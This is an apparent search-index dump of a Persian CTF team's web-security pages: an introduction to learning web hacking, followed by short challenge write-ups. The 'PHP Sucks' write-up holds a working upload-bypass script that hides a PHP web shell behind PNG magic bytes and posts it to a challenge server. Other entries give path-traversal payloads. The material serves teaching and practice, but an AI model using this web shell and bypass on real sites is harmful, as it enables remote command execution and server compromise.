\u06a9\u0646\u0647 \u0648 \u062f\u0631 \u06a9\u0646\u0627\u0631\u0634 \u0628\u0647\u062a\u0648\u0646 \u0633\u0648\u0631\u0633 \u06a9\u062f \u062e\u0648\u0627\u0646\u06cc \u062f\u0631 \u0632\u0628\u0627\u0646\u200c\u0647\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0646\u0648\u06cc\u0633\u06cc \u0645\u062e\u062a\u0644\u0641 \u0631\u0648 \u06cc\u0627\u062f \u0628\u062f\u0647 \u06a9\u0647 \u062f\u0631 \u06a9\u0644 \u0627\u06cc\u0646\u200c\u0647\u0627 \u0645\u06cc\u200c\u062a\u0648\u0646\u0646 \u062e\u06cc\u0644\u06cc \u0628\u0631\u0627\u06cc \u0627\u0631\u062a\u0642\u0627 \u062f\u0627\u0646\u0634 \u0648\u0628 \u0647\u06a9\u06cc\u0646\u06af \u0634\u0645\u0627 \u062f\u0631 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646\u200c\u0647\u0627\u06cc \u0648\u0627\u0642\u0639\u06cc \u0645\u0641\u06cc\u062f \u0628\u0627\u0634\u0646\u062f (\u062f\u06cc\u062f\u0645 \u06a9\u0647 \u0645\u06cc\u200c\u06af\u0645. \u0628\u0647 \u0634\u0631\u0637 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0627 \u0633\u0646\u0627\u0631\u06cc\u0648\u200c\u0647\u0627\u06cc realworld \u0647\u0645 \u0622\u0634\u0646\u0627 \u0628\u0627\u0634\u06cc\u062f); \u067e\u0633 \u0627\u06af\u0631 \u0627\u062d\u06cc\u0627\u0646\u0627 \u0628\u0647\u062a\u0648\u0646 \u06af\u0641\u062a\u0646\u062f \u06a9\u0647 \u0627\u06cc\u0646\u200c\u0647\u0627 \u0641\u0642\u0637 \u0628\u0627\u0632\u06cc \u0647\u0633\u062a\u0646\u062f \u0648 \u062a\u0648\u06cc \u062f\u0646\u06cc\u0627\u06cc \u0648\u0627\u0642\u0639\u06cc \u06a9\u0627\u0631\u0628\u0631\u062f\u06cc \u0646\u062f\u0627\u0631\u0646\u062f, \u0628\u0627\u0648\u0631 \u0646\u06a9\u0646\u06cc\u062f.

","tags":["\u0648\u0628","\u0646\u0642\u0637\u0647 \u0634\u0631\u0648\u0639 \u0648\u0628"]},{"location":"web/#_3","title":"\u062f\u0627\u0646\u0634 \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0631\u0627\u06cc \u0634\u0631\u0648\u0639 \u0627\u06cc\u0646 \u062d\u0648\u0632\u0647 \u0686\u06cc\u0647\u061f","text":"

\u062f\u0631\u06a9 \u0633\u0627\u062e\u062a\u0627\u0631 \u0648\u0628:\u00a0\u062a\u0627 \u0628\u062d\u0627\u0644 \u0628\u0647 \u0627\u06cc\u0646 \u0641\u06a9\u0631 \u06a9\u0631\u062f\u06cc\u062f \u06a9\u0647 \u0645\u0631\u0648\u0631\u06af\u0631 \u0686\u0637\u0648\u0631\u06cc \u06cc\u06a9 \u0648\u0628\u0633\u0627\u06cc\u062a \u0631\u0648 render \u0645\u06cc\u200c\u06a9\u0646\u0647\u061f \u0635\u0641\u062d\u0647\u200c\u0627\u06cc \u06a9\u0647 \u0628\u0647 \u0634\u0645\u0627 \u0646\u0634\u0648\u0646 \u062f\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0647 \u0645\u062a\u0634\u06a9\u0644 \u0627\u0632 HTML, CSS \u0648 Javascript \u0647\u0633\u062a, \u0644\u0630\u0627 \u0644\u0627\u0632\u0645\u0647 \u06a9\u0647 \u062a\u0627 \u062d\u062f\u0648\u062f\u06cc \u0628\u0627\u0647\u0627\u0634\u0648\u0646 \u0622\u0634\u0646\u0627 \u0628\u0627\u0634\u06cc\u062f (CSS \u0645\u0647\u0645 \u0646\u06cc\u0633\u062a \u0648 \u0628\u062e\u0634 \u0627\u0635\u0644\u06cc HTML \u0648 Javascript \u0647\u0633\u062a.). \u0647\u0631\u0686\u0642\u062f\u0631 \u0628\u06cc\u0634\u062a\u0631 Javascript \u0628\u0644\u062f \u0628\u0627\u0634\u06cc\u062f \u0628\u0647 \u0645\u0631\u0648\u0631 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u200c\u0634\u06cc\u062f \u06a9\u0647 \u0686\u0642\u062f\u0631 \u0645\u06cc\u200c\u062a\u0648\u0646\u0647 \u06a9\u0645\u06a9\u200c\u062a\u0648\u0646 \u0628\u06a9\u0646\u0647. \u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06a9\u0647 \u0634\u0645\u0627 \u0646\u0645\u06cc\u200c\u062e\u0648\u0627\u06cc\u062f \u06cc\u06a9 \u0637\u0631\u0627\u062d \u062d\u0631\u0641\u0647\u200c\u0627\u06cc \u0648\u0628\u0633\u0627\u06cc\u062a \u0628\u0634\u06cc\u062f, \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u062a\u0627 \u062d\u062f\u06cc \u06cc\u0627\u062f \u0628\u06af\u06cc\u0631\u06cc\u062f \u06a9\u0647 \u06a9\u0627\u0631\u062a\u0648\u0646 \u0631\u0648 \u0631\u0627\u0647 \u0628\u0646\u062f\u0627\u0632\u0647 \u0648 \u0628\u0639\u062f \u0647\u0631\u0648\u0642\u062a \u0644\u0627\u0632\u0645 \u0634\u062f, \u062f\u0648\u0628\u0627\u0631\u0647 \u0628\u0631\u06af\u0631\u062f\u06cc\u062f \u0648 \u0686\u06cc\u0632\u200c\u0647\u0627\u06cc\u06cc \u0631\u0648 \u06a9\u0647 \u0646\u06cc\u0627\u0632 \u0647\u0633\u062a \u06cc\u0627\u062f \u0628\u06af\u06cc\u0631\u06cc\u062f.

\u062f\u0631\u06a9 \u067e\u0631\u0648\u062a\u06a9\u0644 HTTP: \u0628\u0631\u0627\u06cc \u0648\u0631\u0648\u062f \u0628\u0647 \u0627\u06cc\u0646 \u062d\u0648\u0632\u0647 \u0628\u0627\u06cc\u062f \u062d\u062a\u0645\u0627 \u0628\u0627\u06cc\u062f \u06cc\u06a9 \u062f\u0631\u06a9 \u062d\u062f\u0627\u0642\u0644\u06cc \u0627\u0632 \u067e\u0631\u0648\u062a\u06a9\u0644 HTTP \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u0686\u0648\u0646 \u062a\u0645\u0627\u0645 \u0648\u0628 \u0628\u0631 \u0631\u0648\u06cc \u0647\u0645\u06cc\u0646 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0633\u0648\u0627\u0631 \u0647\u0633\u062a \u0648 \u062a\u0627 \u0646\u062f\u0648\u0646\u06cc\u062f \u06a9\u0647 \u0686\u0637\u0648\u0631\u06cc \u06a9\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u0647 \u0633\u0631\u062f\u0631\u06af\u0631\u0645 \u062e\u0648\u0627\u0647\u06cc\u062f \u0628\u0648\u062f.

\u062f\u0631\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647 \u0646\u0648\u06cc\u0633\u06cc:\u00a0\u0627\u0632 \u0627\u0648\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u062e\u06cc\u0644\u06cc \u0627\u0632 \u0686\u0644\u0646\u062c\u200c\u0647\u0627 \u062d\u0627\u0648\u06cc \u0633\u0648\u0631\u0633 \u06a9\u062f \u0647\u0633\u062a\u0646\u062f, \u0628\u0627\u06cc\u062f \u062a\u0648\u0627\u0646\u0627\u06cc\u06cc \u062e\u0648\u0627\u0646\u062f\u0646 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0648 \u062f\u0631\u06a9 \u0627\u0648\u0646 \u0631\u0648 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f. \u067e\u0633 \u062e\u06cc\u0644\u06cc \u062e\u0648\u0628\u0647 \u06a9\u0647 \u062d\u062f\u0627\u0642\u0644 \u0628\u0627 \u06cc\u06a9\u06cc \u0627\u0632 \u0632\u0628\u0627\u0646\u200c\u0647\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0646\u0648\u06cc\u0633\u06cc \u062a\u062d\u062a \u0648\u0628 \u0622\u0634\u0646\u0627\u06cc\u06cc \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f. \u0641\u0631\u0636 \u06a9\u0646\u06cc\u062f \u06cc\u06a9 \u0686\u0644\u0646\u062c \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647 \u06a9\u0647 \u062d\u0627\u0648\u06cc \u06a9\u062f Node.js \u0647\u0633\u062a, \u062f\u0642\u062a \u06a9\u0646\u06cc\u062f \u06a9\u0647 \u0645\u0647\u0645 \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u0628\u062a\u0648\u0646\u06cc\u062f \u0627\u06cc\u0646 \u06a9\u062f \u0631\u0648 \u062f\u0631\u06a9 \u06a9\u0646\u06cc\u062f \u0648 \u067e\u06cc \u0628\u0628\u0631\u06cc\u062f \u06a9\u0647 \u062f\u0627\u0631\u0647 \u0686\u06a9\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u0647, \u0648 \u0644\u0632\u0648\u0645\u06cc \u0646\u062f\u0627\u0631\u0647 \u06a9\u0647 \u0628\u062a\u0648\u0646\u06cc\u062f \u0628\u0627 \u0627\u06cc\u0646 \u0632\u0628\u0627\u0646 \u06cc\u06a9 \u0648\u0628\u0633\u0627\u06cc\u062a \u0628\u0646\u0648\u06cc\u0633\u06cc\u062f. \u0628\u0627\u0632\u200c \u0647\u0645 \u062a\u0627\u06a9\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u0645 \u06a9\u0647 \u0634\u0645\u0627 \u0646\u0645\u06cc\u200c\u062e\u0648\u0627\u06cc\u062f \u06cc\u06a9 \u0637\u0631\u0627\u062d \u0648\u0628\u0633\u0627\u06cc\u062a \u0628\u0634\u06cc\u062f.

\u062f\u0631\u06a9 \u062d\u062f\u0627\u0642\u0644\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0648\u0628:\u00a0 \u0628\u0639\u062f \u0627\u0632 \u06af\u0630\u0631\u0648\u0646\u062f\u0646 \u0645\u0631\u0627\u062d\u0644 \u0628\u0627\u0644\u0627, \u062d\u0627\u0644\u0627 \u0648\u0642\u062a\u0634 \u0631\u0633\u06cc\u062f\u0647 \u06a9\u0647 \u0628\u0631\u06cc\u062f \u0633\u0631 \u0642\u0633\u0645\u062a \u067e\u0631\u0647\u06cc\u062c\u0627\u0646 \u0648 \u0627\u0635\u0644\u06cc \u0645\u0627\u062c\u0631\u0627, \u06cc\u0639\u0646\u06cc \u062d\u0645\u0644\u0627\u062a \u0648 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0631\u0627\u06cc\u062c \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646\u200c\u0647\u0627\u06cc \u0648\u0628! \u0634\u0645\u0627 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u062a\u0648\u0646\u06cc\u062f \u06cc\u06a9 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc\u200c \u0631\u0648 \u067e\u06cc\u062f\u0627 \u0648 \u0633\u067e\u0633 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u06a9\u0646\u06cc\u062f, \u0628\u0627\u06cc\u062f \u0628\u062f\u0648\u0646\u06cc\u062f \u0627\u0648\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0686\u06cc\u0647, \u0686\u0637\u0648\u0631\u06cc \u0628\u0648\u062c\u0648\u062f \u0645\u06cc\u0627\u062f, \u0648 \u0686\u0637\u0648\u0631\u06cc \u0645\u06cc\u200c\u0634\u0647 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a\u0634 \u06a9\u0631\u062f. \u0628\u0631\u0627\u06cc \u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u062f \u0627\u0632 OWASP TOP10 \u0634\u0631\u0648\u0639 \u06a9\u0646\u06cc\u062f. \u0627\u06cc\u0646 \u067e\u0631\u0648\u0698\u0647 \u0631\u0627\u06cc\u062c\u200c\u062a\u0631\u06cc\u0646 \u0631\u06cc\u0633\u06a9\u200c\u0647\u0627 \u0631\u0648 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0648\u0628 \u0628\u0647 \u062f\u0647 \u0628\u062e\u0634 \u062a\u0642\u0633\u06cc\u0645 \u06a9\u0631\u062f\u0647 \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u062f \u0647\u0631 \u0628\u062e\u0634 \u0631\u0648 \u062c\u062f\u0627 \u062c\u062f\u0627 \u0633\u0631\u0686 \u06a9\u0646\u06cc\u062f \u0648 \u06cc\u0627\u062f \u0628\u06af\u06cc\u0631\u06cc\u062f. \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u0645 \u06a9\u062a\u0627\u0628 Web Application Security, \u0646\u0648\u0634\u062a\u0647 Andrew Hoffman \u0631\u0648 \u0647\u0645 \u0627\u0632 \u062f\u0633\u062a \u0646\u062f\u06cc\u062f. \u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0648\u0628 \u0631\u0648 \u0647\u0645 \u0627\u0632 \u062f\u06cc\u062f \u062a\u0647\u0627\u062c\u0645\u06cc, \u0648 \u0647\u0645 \u0627\u0632 \u062f\u06cc\u062f \u062a\u062f\u0627\u0641\u0639\u06cc \u0645\u0648\u0631\u062f \u0628\u0631\u0631\u0633\u06cc \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0645\u0637\u0627\u0644\u0639\u0647 \u0627\u0648\u0646 \u0645\u06cc\u200c\u062a\u0648\u0646\u0647 \u062f\u06cc\u062f\u062a\u0648\u0646 \u0631\u0648 \u062e\u06cc\u0644\u06cc \u0628\u0627\u0632\u200c\u062a\u0631 \u0628\u06a9\u0646\u0647.

","tags":["\u0648\u0628","\u0646\u0642\u0637\u0647 \u0634\u0631\u0648\u0639 \u0648\u0628"]},{"location":"web/#ctf","title":"\u062d\u0644 \u0686\u0644\u0646\u062c\u200c\u0647\u0627\u06cc CTF \u062f\u0631 \u062d\u0648\u0632\u0647 \u0648\u0628, \u0686\u0647 \u0641\u0627\u06cc\u062f\u0647\u200c\u0627\u06cc \u062f\u0627\u0631\u0647 \u0648\u0642\u062a\u06cc \u0645\u06cc\u200c\u062a\u0648\u0646\u0645 \u0647\u0627\u0646\u062a \u06a9\u0646\u0645 \u0648 \u067e\u0648\u0644 \u062f\u0631 \u0628\u06cc\u0627\u0631\u0645\u061f","text":"

\u0628\u06cc\u0627\u06cc\u062f \u0627\u06cc\u0646 \u0645\u0633\u0626\u0644\u0647 \u0631\u0648 \u0628\u0627\u0632\u200c\u062a\u0631 \u06a9\u0646\u06cc\u0645... \u0648\u0642\u062a\u06cc \u0634\u0645\u0627 \u062f\u0627\u0646\u0634 \u0648\u0628 \u0647\u06a9\u06cc\u0646\u06af \u062f\u0627\u0631\u06cc\u062f, \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u062f \u06a9\u0627\u0631\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0628\u06a9\u0646\u06cc\u062f, \u0627\u0632 \u062c\u0645\u0644\u0647 \u062a\u0633\u062a \u0646\u0641\u0648\u0630, \u0647\u0627\u0646\u062a, \u0631\u062f \u062a\u06cc\u0645 \u0648... \u06a9\u0647 \u0647\u0645\u0634\u0648\u0646 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0648\u0627\u0642\u0639\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u0646. \u062d\u0627\u0644\u0627 \u0628\u06cc\u0627\u06cc\u062f \u0628\u0647 CTF \u062f\u0631 \u0642\u0627\u0644\u0628 \u06cc\u06a9 \u062a\u0645\u0631\u06cc\u0646, \u062f\u0633\u062a\u06af\u0631\u0645\u06cc \u0648 \u0628\u0627\u0632\u06cc \u0646\u06af\u0627\u0647 \u06a9\u0646\u06cc\u0645. \u0686\u0644\u0646\u062c\u200c\u0647\u0627\u06cc \u0648\u0628 \u06cc\u06a9 \u0645\u062d\u06cc\u0637 \u0634\u0628\u06cc\u0647 \u0633\u0627\u0632\u06cc \u0634\u062f\u0647 \u0627\u0632 \u0633\u0646\u0627\u0631\u06cc\u0648\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0627\u0632 \u062e\u06cc\u0644\u06cc \u0622\u0633\u0648\u0646, \u062a\u0627 \u062e\u06cc\u0644\u06cc \u0633\u062e\u062a \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0634\u0645\u0627 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0646\u062f. \u0627\u06cc\u0646 \u0633\u0646\u0627\u0631\u06cc\u0648\u200c\u0647\u0627 \u0628\u0639\u0636\u0627 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0648\u0627\u0642\u0639\u06cc \u067e\u06cc\u0634 \u0645\u06cc\u0627\u0646, \u0648 \u0628\u0639\u0636\u0627 \u0641\u0642\u0637 \u0645\u062d\u062f\u0648\u062f \u0628\u0647 \u062f\u0646\u06cc\u0627\u06cc CTF \u0647\u0633\u062a\u0646\u062f. \u062a\u0645\u0631\u06cc\u0646 \u0648 \u062a\u06a9\u0631\u0627\u0631 \u0686\u0644\u0646\u062c\u200c\u0647\u0627 \u0648 \u0633\u0648\u0627\u0644\u0627\u062a \u0645\u062e\u062a\u0644\u0641 \u0645\u06cc\u200c\u062a\u0648\u0646\u0647 \u0628\u0647 \u062d\u0636\u0648\u0631 \u0630\u0647\u0646 \u0634\u0645\u0627 \u06a9\u0645\u06a9 \u0641\u0631\u0627\u0648\u0627\u0646\u06cc \u0628\u06a9\u0646\u0647 \u0648 \u0645\u0646\u062c\u0631 \u0628\u0634\u0647 \u0648\u0642\u062a\u06cc \u062f\u0631 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646\u200c\u0647\u0627\u06cc \u0648\u0628 \u0648\u0627\u0642\u0639\u06cc \u0628\u0627 \u06cc\u06a9 \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645 \u0631\u0648\u0628\u0631\u0648 \u0634\u062f\u06cc\u062f, \u0633\u0646\u0627\u0631\u06cc\u0648\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0628\u0631\u0627\u0634 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u0648 \u062f\u0633\u062a \u067e\u0631 \u0628\u0647 \u062c\u0646\u06af\u0634 \u0628\u0631\u06cc\u062f. \u0645\u0648\u0631\u062f \u0628\u0639\u062f\u06cc \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0646\u0645 \u0628\u0647\u0634 \u0627\u0634\u0627\u0631\u0647 \u06a9\u0646\u0645, \u0627\u0641\u0632\u0627\u06cc\u0634 \u0645\u0647\u0627\u0631\u062a \u0648 \u0639\u0645\u06cc\u0642\u200c\u062a\u0631 \u0634\u062f\u0646 \u062f\u0627\u0646\u0634 \u0634\u0645\u0627 \u062f\u0631 \u0648\u0628 \u0647\u06a9\u06cc\u0646\u06af \u0647\u0633\u062a. \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0627\u0648\u0644 \u0635\u0641\u062d\u0647 \u06af\u0641\u062a\u0645, \u0627\u06cc\u0646 \u062f\u0633\u062a\u0647 \u0627\u0632 \u0633\u0648\u0627\u0644\u0627\u062a \u0645\u06cc\u200c\u062a\u0648\u0646\u0646 \u0645\u0647\u0627\u0631\u062a\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0631\u0648 \u062f\u0631 \u0634\u0645\u0627 \u067e\u0631\u0648\u0631\u0634 \u0628\u062f\u0646\u062f. \u0634\u0645\u0627 \u06a9\u062c\u0627 \u0645\u06cc\u062e\u0648\u0627\u06cc\u062f \u0627\u06cc\u0646 \u0647\u0645\u0647 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0631\u0627\u062d\u062a \u0648 \u067e\u06cc\u0686\u06cc\u062f\u0647 \u0628\u0628\u06cc\u0646\u06cc\u062f \u0648 \u0628\u0634\u06cc\u0646\u06cc\u062f \u062a\u062d\u0644\u06cc\u0644\u200c\u0634\u0648\u0646 \u06a9\u0646\u06cc\u062f\u061f! D:\u00a0

","tags":["\u0648\u0628","\u0646\u0642\u0637\u0647 \u0634\u0631\u0648\u0639 \u0648\u0628"]},{"location":"web/#_4","title":"\u0627\u0632 \u06a9\u062c\u0627 \u0634\u0631\u0648\u0639 \u06a9\u0646\u0645\u061f","text":"

\u0627\u06af\u0631 \u0634\u0645\u0627 \u0647\u0645 \u0639\u0644\u0627\u0642\u0645\u0646\u062f \u0647\u0633\u062a\u06cc\u062f \u06a9\u0647 \u062f\u0633\u062a\u06cc \u0628\u0647 \u062d\u0648\u0632\u0647 \u0648\u0628 \u0628\u0628\u0631\u06cc\u062f, \u067e\u06cc\u0634\u0646\u0647\u0627\u062f\u0645 \u0628\u0647 \u0634\u0645\u0627 picoCTF \u0647\u0633\u062a.picoCTF \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0627\u06cc \u0647\u0633\u062a \u06a9\u0647 \u0633\u0627\u0644\u0627\u0646\u0647 \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0647 \u0648 \u0633\u0648\u0627\u0644\u0627\u062a\u0634 \u0647\u0645 \u06a9\u0627\u0645\u0644\u0627 \u0645\u0646\u0627\u0633\u0628 \u0628\u0631\u0627\u06cc \u0627\u0641\u0631\u0627\u062f \u0645\u0628\u062a\u062f\u06cc \u0648 \u062a\u0627\u0632\u0647 \u06a9\u0627\u0631 \u0647\u0633\u062a\u0646\u062f, \u0648 \u0646\u06a9\u062a\u0647 \u062c\u0627\u0644\u0634 \u0647\u0645 \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u0628\u0639\u062f \u0627\u0632 \u0627\u062a\u0645\u0627\u0645 \u0632\u0645\u0627\u0646 \u0645\u0633\u0627\u0628\u0642\u0647, \u0686\u0644\u0646\u062c\u200c\u0647\u0627 \u0642\u0627\u0628\u0644 \u062f\u0633\u062a\u0631\u0633\u06cc \u0647\u0633\u062a\u0646\u062f \u0648 \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u062f \u0634\u0631\u0648\u0639 \u0628\u0647 \u062d\u0644 \u06a9\u0631\u062f\u0646 \u0628\u06a9\u0646\u06cc\u062f. \u0633\u0639\u06cc \u06a9\u0646\u06cc\u062f \u0632\u0645\u0627\u0646 \u0628\u0630\u0627\u0631\u06cc\u062f \u0648 \u0646\u0627 \u0627\u0645\u06cc\u062f \u0646\u0634\u06cc\u062f, \u0627\u06af\u0631 \u0635\u062f\u062a\u0648\u0646 \u0631\u0648 \u06af\u0630\u0627\u0634\u062a\u06cc\u062f \u0648 \u0646\u062a\u0648\u0646\u0633\u062a\u06cc\u062f \u0686\u0644\u0646\u062c\u06cc \u0631\u0648 \u062d\u0644 \u06a9\u0646\u06cc\u062f, \u0633\u0631\u0686 \u06a9\u0646\u06cc\u062f \u0648 \u0631\u0627\u06cc\u062a\u0627\u067e\u0634 \u0631\u0648 \u0628\u062e\u0648\u0646\u06cc\u062f.

","tags":["\u0648\u0628","\u0646\u0642\u0637\u0647 \u0634\u0631\u0648\u0639 \u0648\u0628"]},{"location":"web/writeups/BackdoorCTF/PHP-Sucks/","title":"PHP Sucks","text":"

\u0622\u0631\u0634\u06cc\u0648 \u0686\u0644\u0646\u062c

import re\nimport requests\n\nfile = io.BytesIO()\nfile.write(bytes.fromhex(\"89 50 4E 47 0D 0A 1A 0A\"))\nfile.write(b'<?php echo system($_GET[\\'ss\\']); ?>')\nfor i in range(30, 40): # $ will work\n    file.seek(0)\n    name = 'ssss.php' + chr(i) + \".png\"\n    print(name)\n    try:\n        r = requests.post('http://34.132.132.69:8002/chal/upload.php', files=[('file', (name, file, 'image/jpeg'))], data={\"submit\": \"\", \"name\": \"SS\"}).content.decode()\n        url = \"http://34.132.132.69:8002/chal/\" + re.search(r'<a href=\\'(.*?)\\' target=', r).group(1)\n        print(i, requests.get(url).content)\n    except:\n        pass\n

\u06cc\u0647 \u06a9\u062f \u0628\u0627\u06cc\u067e\u0633 \u0622\u067e\u0644\u0648\u062f \u0633\u0627\u062f\u0647 \u06a9\u0647 \u0628\u0631 \u0627\u0633\u0627\u0633 magic byte \u0647\u0627\u06cc png \u062f\u0627\u0631\u0647 \u0628\u0627\u06cc\u067e\u0633 \u0645\u06cc\u06a9\u0646\u0647

\u0633\u0631 \u0627\u0633\u0645 \u0641\u0627\u06cc\u0644 \u0622\u067e\u0644\u0648\u062f \u0634\u062f\u0647 \u06cc\u06a9\u0645 \u0686\u0627\u0644\u0634 \u0628\u0631 \u0627\u0646\u06af\u06cc\u0632 \u0628\u0648\u062f \u06a9\u0647 \u0645\u0639\u0644\u0648\u0645 \u0634\u062f \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 $ \u0645\u06cc\u062a\u0648\u0646\u0647 \u0628\u0627\u0639\u062b \u0628\u0634\u0647 \u06a9\u0647 \u0641\u0627\u06cc\u0644 png \u0628\u0631\u0647 \u0633\u0645\u062a php handler \u0648 \u06a9\u062f \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0627\u062c\u0631\u0627 \u0628\u0634\u0647

\u0627\u0632 \u0627\u0648\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0628\u0647\u0645\u0648\u0646 \u0648\u062d\u06cc \u0646\u0634\u062f\u0647\u060c \u06a9\u062f \u0631\u0648 \u0628\u0635\u0648\u0631\u062a \u0641\u0627\u0632\u0631 \u0646\u0648\u0634\u062a\u0645 \u0648 \u067e\u06cc\u062f\u0627\u0634 \u06a9\u0631\u062f\u0645 =))

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BackdoorCTF","BackdoorCTF-2023","Web","PHP","Uploader_Bypass"]},{"location":"web/writeups/PingCTF/internet-explorer/","title":"Internet explorer","text":"

User-Agent: Mozilla/5.0 (Linux; Trident/7.0; rv:11.0) like Gecko

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Web"]},{"location":"web/writeups/PingCTF/path-traversal/","title":"Path traversal","text":"

\u0622\u0631\u0634\u06cc\u0648 \u0686\u0644\u0646\u062c

User-Agent: robot got from source

Path: /\ud83e\udd16 got from robots.txt

payload 1: /robot/../flag/ss/..

payload 2,3 \ud83d\ude02 : /flag/ss/..

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Web"]},{"location":"web/writeups/PingCTF/youtube-trailer/","title":"Youtube trailer","text":"

check video tags

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Web"]},{"location":"web/writeups/SnappCTF/b64/","title":"b64","text":"Snapp cat

","tags":["SnappCTF","SnappCTF-2024","XSS","CSP","Web","X-Content-Type-Options","Content-Type"]},{"location":"web/writeups/SnappCTF/b64/#_1","title":"\u062a\u0648\u0636\u06cc\u062d \u062d\u0644 \u0686\u0627\u0644\u0634","text":"

\u06a9\u062f \u0633\u0631\u0648\u0631 \u062a\u0648\u06cc \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0628\u0647 \u0645\u0627 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0648 \u0645\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0648\u0646\u0648 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0646\u06cc\u0645:

#!/usr/bin/env node\nconst express = require('express')\n\nconst app = express()\n\napp.get('/',(req,res)=>{\n    let ct = (req.query.ct || 'ct').toString()\n    let buf = Buffer.from(((req.query.buf || btoa('?buf=base64str')).toString()),'base64')\n    if(!/^[a-z/]+$/.test(ct) || /htm|javascript/i.test(ct)){\n        return res.send('na')\n    }\n\n    if(/<[a-z]/i.test(buf)){\n        return res.send('na')\n    }   \n    res.setHeader('Content-Type',ct)\n    res.setHeader('X-Content-Type-Options','nosniff')\n    res.setHeader('Content-Security-Policy',`default-src 'self';`)\n    res.send(buf)\n})\n\napp.listen(8000)\n

